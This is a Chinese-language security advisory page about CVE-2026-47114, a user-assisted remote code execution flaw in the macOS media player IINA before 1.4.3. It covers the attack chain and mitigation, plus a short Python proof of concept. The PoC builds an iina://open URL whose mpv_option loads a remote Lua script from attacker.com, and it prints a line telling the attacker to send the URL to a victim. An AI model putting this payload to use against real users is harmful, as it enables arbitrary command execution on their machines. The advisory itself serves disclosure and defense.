IPBUF安全漏洞报告
English
CVE-2026-47114 CVSS 8.8 高危

CVE-2026-47114 IINA远程代码执行漏洞

披露日期: 2026-05-21

漏洞信息

漏洞编号
CVE-2026-47114
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
IINA

相关标签

RCE远程代码执行IINAmacOSURL SchemeCommand Injection

漏洞概述

IINA媒体播放器在1.4.3之前的版本存在严重的用户辅助远程代码执行漏洞。攻击者可诱导用户点击恶意构造的`iina://open` URL链接,利用未经验证的mpv参数将输入命令传递至底层运行环境,从而在用户macOS系统上以当前用户权限执行任意命令,无需有效的媒体文件即可触发。

技术细节

该漏洞源于IINA对自定义URL协议`iina://open`的处理逻辑存在缺陷。当用户点击此类链接时,IINA应用会解析URL中的查询参数。在受影响版本中,应用未对带有`mpv_`前缀的查询参数(如`mpv_options`或`input-commands`)进行有效的安全过滤和验证,直接将其传递给后端的mpv媒体播放器库进行执行。由于mpv支持通过特定命令行选项加载Lua脚本或执行系统命令,攻击者可精心构造包含恶意参数的URL。一旦用户在浏览器弹出的协议提示框中点击允许,IINA便会启动并加载这些恶意参数,导致攻击者能够在受害者的macOS设备上执行任意系统命令,完全控制受影响的应用环境。

攻击链分析

STEP 1
构造恶意链接
攻击者制作包含恶意`mpv_option`参数的`iina://open` URL,指向恶意脚本或命令。
STEP 2
投递攻击载荷
攻击者通过邮件、网页或社交媒体将恶意链接发送给目标用户。
STEP 3
诱导用户交互
目标用户点击链接,浏览器弹出协议处理提示,询问是否用IINA打开。
STEP 4
执行恶意代码
用户确认后,IINA启动并解析URL参数,将未过滤的指令传递给mpv,导致命令执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-47114: IINA Command Execution via URL Scheme # The vulnerability allows executing arbitrary commands via mpv options. # An attacker would host a malicious Lua script and trigger it via the URL. import urllib.parse # Construct the malicious URL # 'mpv_option' is passed directly to the mpv command line # Using --script to load a remote Lua script that executes shell commands malicious_url = "iina://open?url=http://example.com/video.mp4&mpv_option=--script=http://attacker.com/exploit.lua" print(f"Send this URL to victim: {malicious_url}") # exploit.lua content example: os.execute("open -a Calculator")

影响范围

IINA < 1.4.3

防御指南

临时缓解措施
建议用户立即检查IINA版本,若低于1.4.3,请务必通过官方渠道更新。在未修复前,不要在浏览器中点击任何触发IINA打开的链接,或暂时卸载该应用以防止被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表